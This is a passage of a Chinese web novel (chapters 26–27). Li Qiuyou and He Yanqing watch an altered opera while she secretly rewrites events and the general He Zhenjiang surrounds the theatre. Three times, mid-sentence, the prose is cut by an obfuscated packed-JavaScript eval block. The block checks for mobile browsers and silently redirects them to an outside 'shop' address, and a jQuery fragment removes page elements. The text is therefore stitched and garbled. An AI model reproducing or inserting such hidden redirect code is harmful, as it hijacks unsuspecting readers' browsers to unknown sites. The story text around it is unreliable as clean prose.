他脑子里一直提醒自己:嫂子说过让我不要说话。 就算刚才听到了什么话,也要等到嫂子身边没有人了才能说! 他果真不说话,报纸叠着放进口袋里,凑到黎秋又面前来,黎秋又就看见他嘴唇抿了又抿,肯定是想说什么的。 街边三三两两的树开始抽芽,医院对面有一家咖啡馆,这时候的人穿着时尚,看着衣装设计,比现世的还要精致好看些。这里出入的都是经济上层人士。 咖啡馆的转角处是一家电影院。 那时候的电影还是黑白的,但是电影院楼上足足有四层楼那么高的大海报,是彩色的。 海报上画的是当红女演员,左下角还有三个大字:唐婉约。 黎秋又盯着那处看了很久。 按理说唐婉约应该死了,就算黎秋又改了剧本,原本的那个人也应该是死了的。 海报上的这个人,脸型微圆,细眉大眼,唇齿艳丽大方,是有些像唐约的,就是妆容上,实在,太适配这个年代了。 但黎秋又越看,越觉得像,再眨眼几个来回,那海报上的人竟真真切切的就是唐约了! 唐约眼尾有细微上钩,海报上画得传神,把这一点放大了些,她非常确定,这就是唐约,换个妆容的事儿! 可,唐婉约不是唱戏的吗?她一时不能确定究竟是自己改剧本这件事出了问题,还是唐婉约的死有蹊跷。 应该是后者,因为今天,她改了剧本,乔挽云的母亲活下来了。 原本大好的心情,这时候却突然下起了细细密密的雨,柔和温软,不冷,甚至还没有洗澡水的劲儿大。 “下雨了哎,还挺舒服的,一场春雨一场暖,一定是个好兆头,接下来都是顺利的事。”黎秋又觉得更舒爽了。 她回过头去,看见贺砚清视线一眨不眨地望着她,她一愣,又回头看看天,突然想到了什么,靠近贺砚清,问他:“你怎么了?心情不好吗?” “怎么会。” 黎秋又:“可是这………”这天色和你的表情看上去很搭哎! 贺砚清捏了捏她的肩,“车来了,上车吧。” 面前停过来一辆老爷车。 汽车引擎声很大,贺砚清靠近她,那神奇的外套又搭在了她脑袋上为她遮雨,两人往路中间走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823160|189106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你看到那张海报了吗?”两人因为贺砚清的遮雨动作靠得很近,贺尧凑过来,往黎秋又身后披风里钻。 贺砚清:“看见了,那个人是她,又不是她。” “我有没有跟你说过,在我们的婚礼上,我看见了一件衣服立在那里。”黎秋又仰头问他。 “嗯?” 雨停了…… 贺砚清在笑,他问:“什么衣服?” 两人已经走到了车跟前,黎秋又伸出手去,发现这些雨就像是从来没来过一样,连马路上都没有留下水迹。 黎秋又哭笑不得,其实下点雨也挺好的啊。 黎秋又话头一转:“没什么,突然不想跟你说了。” 果然,天又阴了下来。 她再去看贺砚清,对方只是面无表情地垂眸,准备去拉开车门,低低一句:“好。” 黎秋又赶紧上前一步,去拉开了前座的车门,眼神挤了挤贺尧,让他赶快上车。 贺砚清就见到,黎秋又拉开前车门,但又关上了,跑到后座,拉开后座车门,自己率先钻进去,一手还拽了拽,让贺砚清和她同坐后排。 “去梨园吧。”贺砚清对前排司机说。 “好的,少爷。” 黎秋又问:“要去听戏吗?” “嗯,之前说过带你去听戏,趁着今天有空,不然,也不知道你下一次醒来到什么时候了。” 贺砚清说这话的时候,黎秋又再次感受到了之前那种悲伤,百年的孤寂,亲缘散尽的哀痛。 莫名其妙的,她又红了眼眶。 “说什么呢!我又不会睡很久,睡死过去。”黎秋又白他一眼,别过脑袋去。 “嗯。”贺砚清没有再搭话。 贺尧转过来,他一直等着能跟黎秋又独处后讲话,现在看样子,一时半会还是不能讲话,实在憋得很,他使劲指着自己紧抿的唇。 黎秋又这时候心里不是很舒服,看他这样又烦躁,“你说话!”反正这里的人看不见他也听不见他。 结果是贺砚清开口:“我只是想珍惜和你在一起的这段日子。” “时机一到,我会想办法送你们出去。” 黎秋又:“……” “啊?” 贺尧张口:“他说他能送我们出去。” 张嘴就说废话的人还是闭嘴的好! “小嘴……” 贺砚清正看着她,视线灼灼,唇角弧度微微上弯,看上去并没有笑。 黎秋又没亲过嘴,但电视上演,男女主这样对视的时候估计就要亲上了,准备骂贺尧的话在嘴边转了一圈,对贺砚清喃喃道:“小嘴叭叭说什么呢,真好看。” 贺砚清没有亲她,只是依旧浅浅一笑,“有时候也庆幸你什么都不记得。” “嫂子,你一直看他,你是不是喜欢上他了?”贺尧难过,“你是我哥哥的媳妇儿。” “闭嘴吧你!” 贺砚清:“……” 车上气氛一度变得尴尬又诡异。 梨园的位置稍有些偏,烟火气息更重一些,虽然人依然是看不清面容的,但黎秋又能感觉到,他们生前的生活过得应该还算不错。 黎秋又趴在车窗边问贺砚清:“这些都是和你一样的……吗?” “这些都是幻象。” “哦。” 巧在,梨园今日正好有演出,一切就像是早就计划好的一样,又像是偏偏等他们来似的。 进了梨园,贺砚清带着黎秋又上了一座园厅的二楼楼座,正对舞台,视野是最好的,刚一落座,戏曲便开场了。 应该是有选戏的地方,但贺砚清并没有问她想看什么,径直过来的。 贺尧凑近,跟黎秋又指了个方位:“嫂子,你看那边。” 黎秋又随意看过去,霎时定住了视线。 贺尧指的那个后台角落里,正直直立着当日婚礼上所见的那身,唐约的戏服。 26. 第 26 章 黎秋又下意识抓住了贺砚清的衣袖,贺砚清低眸,顺着她的视线,也看到了那身戏服。 “这就是你说的,出现在我们婚礼上的那件戏服。” 黎秋又转过头来,心里一团乱糟糟。 原先的这个唐婉约,一定是和将军府有点什么恩怨,她选择在十六姨太进府的那天去府里唱戏,又出现在了黎秋又拜堂的地方,眼巴巴地去观礼,最后选择死在了将军府。 黎秋又猛地意识到什么,一拳锤在桌上,“她该不会是你的情人吧!” 她一双圆眼瞪向贺砚清,“那日你与我拜堂,她就自杀了,所以,她恐怕是……殉情了!” 贺砚清轻叹口气,点点黎秋又太阳穴,“那时候,除了你,也没什么女孩子敢主动靠近我。” 不敢?黎秋又的注意力瞬间转移,“为什么不敢?你那时候也拧人脑袋?” “说什么呢。”贺砚清想掐一掐黎秋又的手指,恰巧茶倌过来倒茶,“我只与你亲近。” 黎秋又下嘴唇都快咬破了,视线一会扫过去看一眼那红色戏服,就怕一个眨眼间,戏服跑来跟她玩一二三木头人。 “嫂子,我感觉那个戏服好像在看咱们这边。” 一句话吓得黎秋又后背炸起来一圈毛,“不会说话就别说了!” 贺砚清噎了一下,说:“好。” 黎秋又无语:“我没说你。” “我们之间还有别人吗?”贺砚清的情绪估计像个过山车,但黎秋又才没心情管这个。 这一打岔,黎秋又“一不小心”瞥过去的视线,发现那戏服竟然不见了。 她刚消下去的冷汗又爬出来,缩着脖子,小心看自己周围,下意识地往贺砚清的身边靠了靠。 “贺砚清,你看那边,戏服是不是又不见了?”她低语着,被吓得连双腿都不敢塞在桌子底下,使劲往贺砚清那挤。 贺砚清看出她害怕,拍了拍她的后背,“是被后台的工人搬进去了,别怕。” “贺砚清,你怕鬼吗?” 黎秋又突然意识到这个话题有点怪异,赶紧撤回:“不,不对。” “咚隆咚隆锵。”戏台上开始热场,吓黎秋又一跳。 身后人头攒动,二楼也是满座,地面铺着地摊,“人”走在上面只能发出细微声响。 黎秋又的裙子是细绒的材质,坐在绒面座椅上,后背生出了细细的汗。 她也不明白为什么一件衣服会比活生生的鬼更吓人。 贺砚清视线在黎秋又攥着他小臂的手上,还在缓缓转动的手表,反射窗外的一小块光,贺砚清回答黎秋又:“怕。” 怕成为一只游魂野鬼,没有终日。 【贺振江携年轻的十六太太前往梨园听戏,戏曲的内容是《浮生错》,被改编过的内容触怒了贺振江,手下副官当即便率兵包围了梨园。】 此时身边没有机灵的池宣二人,憨子贺尧正在认真品茶,被一口茶烫到舌头,还在发出“沸沸沸”的噪音。 黎秋又曾两次把老爷改成少爷,这一次,老爷居然有了大名。 可带她来的明明就是少爷啊,难道已经发生过的事情,还要按照剧本再重来一遍? 黎秋又还没琢磨明白呢,就见二楼的楼梯口处,传来了吵嚷的声音。 “贺将军来了,还不快让开。”一群穿着军服的士兵踏着他们厚重的硬质军靴踩在柔软的地毯上浩浩荡荡冲上来,陆陆续续站成两排,将原先热闹的人群全部赶到两边去。 人群你让我挤的,在两排士兵队形之后,摔成一团,但没人敢上前去为自己打抱不平。 而那身着黑色披风的贺将军,便从两排士兵的中间上了楼,身高腿长,威风凛凛。 黎秋又看向贺砚清,他起先并没有注意到贺振江来了,但他的视线一直在黎秋又身上,顺着黎秋又不自然的发颤瞳孔,他才转头,看见贺振江。 先前他在府里的时候和贺振江闹过一场不愉快,黎秋又很担心这两人在这个地方剑拔弩张,毕竟是公共场合,她担心一会儿打起来会波及到她这个真正会受伤的人。 她手中的笔捏得发烫,台词中如果改掉她这个主语,也改变不了她就在这里的事实,如果改掉“触怒”,也解决不了包围梨园的事情,既然无法通过改变过程而影响结局,干脆直接改掉结局! 将“包围”改成“离开”,那么贺振江就是生气后,带着兵离开了这里,那不就是一怒之下怒了一下嘛!黎秋又为自己的机智竖起一个大拇哥。 贺振江已经走到了面前来,黎秋又赶紧假装捋捋头发,又随意拨弄了一下茶盏,把那两个字擦除了。 腿长的人就这点不好,黎秋又要走五步的路,这人两步就到了跟前,他拖开贺砚清另一侧的凳子,一掀披风,还没来得及坐下来,贺砚清开口,“这么快就解决了麻烦?” “说什么话呢,哪有什么麻烦。”贺振江笑着,虽是回答贺砚清的话,视线却一直在黎秋又身上。 贺砚清冷笑一声,他不过是提醒了老爷子,自己从前的风流事很快就要公之于众了,贺振江没有产生过多情绪变化,只是拍了拍贺砚清,说他还是太年轻。 戏曲开始上演,黎秋又被许多双眼睛盯着,刚才一直没有机会去改那个台词,急得脑袋冒烟,现在舞台上有了动静,已经将老爷的视线引走,黎秋又赶紧补上改过的两个字,才放了心。 贺振江却只是朝楼下戏台上望了一眼便转过来,对着黎秋又晓得看似温和,拍了拍身边的那只绒布凳子,“乔儿,来,坐老爷身边来。” 黎秋又心里一千个一万个不愿意,可下意识地,她起身理了理因坐下而变褶皱的裙子,往贺振江那边挪。 贺砚清却抓住了黎秋又的手腕,一触即松,但贺振江那对儿不善的眼神就瞪着贺砚清的手。 他对黎秋又说:“就坐这看吧,父亲那边的座位看戏容易扭着脖子。” “怀真。” 贺振江的语气不怒自威,看着黎秋又,视线就像要喷火。 贺砚清应答:“父亲。” 但却仍没有让黎秋又过去。 “她坐你那边,像什么话?”贺振江冷着语气。 “嘘~父亲,开锣声响,天地肃静,您教我的。” 此时,台上戏子已经开始唱起来。贺振江仍旧满肚子气,但这句话确实是他说的,是他教导贺砚清时说过的话。 黎秋又被贺砚清带了一把,回到了自己的座里。好险好险,黎秋又要给贺砚清磕一个。 她没有接触过戏曲,先前听唐约在府里唱的,也是个二把刀,半吊子,难听又没什么意义,现在坐在这里,黎秋又实在感觉有些煎熬,听也听不懂,看也看不清。 谁叫她没告诉贺砚清自己近视的。 可怕的东西靠脑补都跟在眼前似的清晰,偏偏开始听戏了,黎秋又只能看见台上两根朱红的台柱,和走来走去的粉粉白白的人影。 还不如去看电影呢。 她想着这句的时候,贺砚清的手从桌面下伸过来,握住她,吓得黎秋又一缩,微抬起视线去看贺振江。 见贺振江此时没有看他俩,她才喘了口气,贺砚清的声音像是从手上传来的,“你想去看电影?” 黎秋又哽了一会儿,慢悠悠道:“这个场合不是不让讲话嘛。” “我们没有讲话。”贺砚清对黎秋又眨了眨眼。 老天奶,她没见过贺砚清这个样子。 黎秋又意识到两人还有这个传话的方法,连忙问:“这台戏原先讲的什么?又改成了什么?” “听下去不就知道了?”贺砚清示意她去听戏。 黎秋又急死了,“我看不懂也听不到。” “呸呸,我看不到,也听不懂。” 贺砚清猜想到,此时看电影的人都是看个新奇,寻常人家难得一场电影票,看来到了后世,电影竟要比戏曲更受欢迎了。 这时候的好角儿都已经不多了,恐怕后世更是少之又少。 贺砚清视线盯着台下,正酝酿如何将当年的事情和戏文故事结合起来简要地跟黎秋又说,就感觉到手指间钻进来了柔软的,细嫩的触感。 他原本是用拇指和食指圈着黎秋又手腕的,但现在,黎秋又将自己的手整个握了过来,放在了他掌心里。 “你快说吧,我真的想听。”黎秋又做好了听故事的准备,手一直悬着有些累了,她干脆把手放到贺砚清那边去,搁在他腿上。 贺砚清的手不冰,但也没什么温度,好在黎秋又穿得厚,不冷,这隔间里也像是有什么取暖装置似的。 贺振江视线冷冷扫过贺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837027|189106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砚清,他的视角,只能看见贺砚清和黎秋又中间还隔了一个人的距离,她的身子微微前倾,双手都在桌子下面。 黎秋又见贺砚清迟迟不说话,手指在贺砚清掌心去捏了捏。 贺砚清其实悄悄触碰过黎秋又不少次,他一开始很害怕自己的触碰会伤害到她,后来又害怕自己太过贪婪吓着她,现在,那真实的触感就在手里,他又开始害怕,这一切又像是百年间不真实的梦。 “贺砚清,求你了,快跟我讲讲吧,”那只柔软的手又捏了捏他,“刚才台词告诉我,这台戏是被改编过的,老爷听了以后会发脾气,我好怕他杀人啊,所以把剧本改成了他生了气就离开了。” 贺砚清听完黎秋又一阵说得稀里糊涂的絮絮叨叨,笑了笑,他觉得,哪怕是喝过几碗孟婆汤的黎秋又,还是和当年一样。 宽大手掌躲在桌子之下,虚拢了一下黎秋又的手,“确实是改过的剧本。” 《浮生错》的原剧情讲的是一对有情人在战乱中被迫分离,重逢又因种种世俗不能在一起的苦情剧。 故事发生在安史之乱时期,赶考才子柳奉为和商贾之女林晚娘在长安城游春时相遇,对诗抚琴,一见倾心。 两人交换信物欲私定终身,但战乱爆发,叛军逼近长安,柳家举家南迁避难,柳奉为欲带林晚娘同行,但二人名不正言不顺,又没有能力带着林晚娘的家人也一同逃走,父亲也言辞拒绝:“商贾之女岂能入我柳氏门庭。” 混乱之中二人走散,却留下了“此生不负”的誓言。 逃走的柳奉为阴差阳错在江南参军,随军抗敌,屡建奇功;林晚娘随父逃至蜀中,家道中落,父亲病危,安将军大肆强抢民女,林晚娘过得心惊胆战。 "算了,你还是跟我说改编后的吧。"黎秋又觉得原剧情太过老套,写小说都不写这样的了。 无非就是男主混出了名堂,不畏世俗眼光,不嫌弃女主此时已经家道中落,依旧要把女主迎娶回家呗。 贺砚清讲故事好像有种什么魔力,黎秋又听着他的声音,就仿佛是正身处那个年代了似的。 “阿云,如果是你,你希望这个剧本改成什么样?” 乔挽云只身闯进后台,浓重的脂粉香气和油彩味害她重重打了个喷嚏。 “唐婉约,你给我出来!”她站在门口朝里面大喊,但化着浓妆的数十双大眼齐刷刷转过来,看得她一脸茫然。 这根本看不出来哪个是唐婉约啊。 刚下戏来的众人连妆都没来得及洗。 乔挽云视线在后台里扫了一圈,突然神色一凝,在角落里看见了那件淹死在她婚礼上的戏服,也不理会其他人,冲上去就把那人抓住。 “唐婉约!你出来。” 乔挽云一肚子气,丝毫没有觉得是见鬼了,她现在的怒气,鬼来了她都得踹两脚。 原本知道一个戏子死在自己婚礼上,还满心愧疚又心疼。 后来家里闹鬼,哪里都不闹,就闹她的院子,一会儿是大白天的池子里莫名其妙冒泡,一会儿又是夜里窗子被风吹开“砰”得一声,有时候会在她的衣柜里发现本不属于她的鞋,甚至有一次回到房间往床上一躺,床单上一滩人形的水迹。 持续折腾了她大半个月,一开始还害怕,后来慢慢发现就是些恶作剧,并不会伤害到她,她都快要习惯了。 结果有一日,银烛意外偷听到了些消息,得知那日的戏子压根没死,不光没死,还跑回去继续在唱戏,这叫她气不打一出来。 这就跑上门来兴师问罪了。 “乔小姐,你抓疼我了。”乔挽云拽着人到了后院,就听到嘤嘤的声音对她说。 乔挽云立起一身鸡皮疙瘩,立马松了手。 “真的是你啊!好啊你!你知道我是乔小姐,那你是不是也知道,我是贺将军府里的十六太太?” 白粉敷面的彩妆下,女子微微垂下脑袋,跟戏里的女人一样,双膝微曲,慢慢地,对乔挽云蹲了蹲。 “奴家自是知道的,十六太太俏丽如春桃,笑颜如暖阳,只是不知道,奴家何时竟惹得十六太太生了气。”她仍是娇滴滴的语气怪怪。 这叫乔挽云有些茫然无措,消化了半天这些文绉绉的话,这娇娇是在夸她漂亮吧,但意思好像是,你这么漂亮,怎么还来找我麻烦? 27. 第 27 章 "别装了,那天晚上的唐婉约压根就没死,是谁救了你!"乔挽云压低了声音,把人推到墙角。 “乔挽云。”冷厉的声音从门口传来。 乔挽云拧眉看过去,竟是神情淡然的贺砚清。 “哦!原来是贺少爷,”她转过来望着唐婉约,“他就是你小情郎?那你装鬼吓他去啊,你找我干什么?我跟他又没什么关系。” 贺砚清的神情更冷了些,垂下眼睫,走到了近前,抓住乔挽云的手腕,想叫她松开唐婉约。 “你误会了,我和她没有关系。”贺砚清没看唐婉约。 “你跟我解释什么?”乔挽云仍不松手,瞪了贺砚清一眼就转过来看着唐婉约,一双眼气鼓鼓的,“该你跟我解释,为什么装鬼吓我!” 唐婉约突然笑了。 很轻松的笑,“二太太算是碰上刺儿头了。” 她语气变得正常,声音圆润透亮,轻着声讲也让人感觉穿透力强,乔挽云震惊原来这就是角儿。 唐婉约不再敷衍,乔挽云才松开了她,等着她讲故事。 贺砚清仍抓着她的手腕,乔挽云扭了两下才扭开。 “你不是为了给妈妈治病才嫁到将军府的吗?现在她去世了,你为什么还不离开?”唐婉约反而在问乔挽云。 乔挽云眼神朝贺砚清闪了闪,“当然是因为跟老爷是真爱,并非有别的什么目的。” “可你这么久了从来没有去老爷房里歇过。” 乔挽云不理。 “乔小姐,我请你看一出戏吧。” 乔挽云一头雾水,唐婉约迈着优雅的步伐进了门里面去,乔挽云拉住了贺砚清,想要一个解释。 贺砚清垂眸,后院的风大,乔挽云鬓角的碎发吹到脸上,他下意识地伸手,轻轻拂过,“唐婉约以前是父亲的人。” 乔挽云皱着的眉,骤然牵着眼皮,瞪圆了眼。 “这么一朵娇花,”乔挽云用手比划成一朵花,“就这么插……” 虽没有见过唐婉约的素颜,但光看这身段气质声音,哪样不代表着她是个年轻的美人。 不过想想也没多震惊了,毕竟她自己也是老爷的十六太太。 “她是哪个姨太?” 贺砚清:“未曾入门,她和父亲在一起甚至比我妈还早。” “那为何没过门?” “是父亲不愿,”他错开乔挽云,“先听戏吧。” “听完戏她就不会再扮鬼吓我了吗?”乔挽云质问。 贺砚清顿了顿步子,“不会了。” “原来你们是一伙的!你早就知道是不是!”乔挽云生气叉腰。 “乔挽云,”贺砚清的声音很冷漠:“如果在将军府过得不顺心,你可以提出和离,我会想办法让父亲同意的。” 乔挽云偏不。 她知道,从进府里来后的每一日,每个人都在想赶走她。 她能理解,二太太一个人在府里操持这么多年,稳坐主母的位置,后来进府的姨太太没过多久都要么走,要么死。 除了二太太想要永远独自拥有老爷的心,乔挽云想不到第二个理由。 那她不去争老爷不就行了?反正她要的只是一个能庇护她的名分而已。 母亲瞒了她很多事,去世以后就再也没有人能告诉她了,偏偏还有些凶神恶煞的人找上门来问,得知母亲已经去世,那些人才离开。 乔挽云跟在贺砚清身后,回了前厅,那场专门为她安排的一场戏,正在上演。 这场戏的男主人公变成了安将军,叛军将要抵达长安之时,在逃难人群中,安将军一眼就见到了这位面目秀丽的林晚娘,只轻挥挥手,属下就善解人意地去为他将人抓了过来。 自此,林晚娘就跟在了安将军身侧,白日里随军赶路,夜里就要去安将军的帐中伺候,安将军承诺她,成大事后,便将她迎入府中当女主人。 林晚娘不求大富大贵,只求能在安将军的庇护下活着,保护好父母。 但安将军入城之前,又遇到了另一位漂亮女子,当晚就洗洗送进了帐中,林晚娘被遗弃了。 安将军不是良人,朝三暮四是他的本色,于是林晚娘偷了他的军防图,连夜策马逃至长安城,向朝廷,献出军防图,以至接下来的一场战役,朝廷大挫安将军。 事情的发展就是这么让人猝不及防,偏偏今日无事可做来听戏的贺振江听到了这场戏,他沉着脸,就在台下的角落里,听完了这场戏。 这场将他必做安将军的戏。 “砰砰”两声枪响,冲进来一队训练有素的人马,将梨园团团包围。 贺振江冷静的步伐一步一步走向戏台前,脚步声,声声踩在唐婉约的心尖上。 贺砚清捂着乔挽云的唇,靠在了二楼的柱子后,挡住身躯。 贺振江走到了最前方,坐了下来,满场的空座,无人听戏,他鼓了鼓掌,笑得和善,“没死啊?这一出,是单为我一人演的?” 那安将军的扮演者赶紧跑下了台,此时只有唐婉约一人站在台上,她没有换衣服,还是上一场戏中的红色喜服,此时觉得红色也格外烫眼。 乔挽云怕极了,她听懂了这出戏,贺砚清告诉她,唐婉约在将军成为将军之前就跟在他身边,后来将军成事,却娶了贺砚清的母亲。 贺砚清近在咫尺的脸,微垂着眼睫,侧脸看向楼下。乔挽云被他捂着唇,只能被迫仰脸看着他,她不怕贺砚清,她怕贺振江一枪崩了唐婉约,更怕贺振江得知她在这里偷听自己的秘密。 贺砚清听着听着,手指上落了滚烫,他转过脸来,才发现乔挽云已经被吓哭了,他用食指比在唇边,乔挽云眨眨眼,他才松开了她。 贺砚清递给乔挽云自己的帕子,让她擦擦眼泪。贺振江对唐婉约抬了抬下巴,“继续吧,把这出戏演完。” 唐婉约在台上,袖中取出一道明黄圣旨,滚落在地,她也跪地垂泪,歌声悠扬高昂,“笑你痴笑你癫,笑你机关算尽却无眠。 你道我告发你是为那荣华万千?” 她哭着演着,又跳下戏台,贺振江身边的兵拥到跟前来,他挥挥手又叫人散开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不!”黎秋又急忙阻止。 她虽然已经改了接下来的剧情走向,但心里还是不踏实,眼神转了一圈,看这些桌上都没有放开水壶,沉了沉心。 “老爷,这出戏听得有些腻了,不如我们换一场?” 贺振江第一次听乔挽云对他提要求,当即大笑,“好!张副官,去让他们换一场戏,我的乔儿不喜欢这一出。” 乔挽云轻轻松一口气。 不一会儿,台下小闹了起来,大概是班主不同意中途换戏,后台方向传来“砰砰”几声枪响,一阵惊叫声炸开,又过了没多久,台上演员换下来。 但,黎秋又微眯着眼看下去时,发现新换的戏,仍是唐婉约那身红色戏服,以及另一位,大腹便便的安将军。 原始戏份,安将军作为背景角色,一直骑着马,而现在,这位安将军正在同林晚娘拉扯。 黎秋又冷汗涔涔。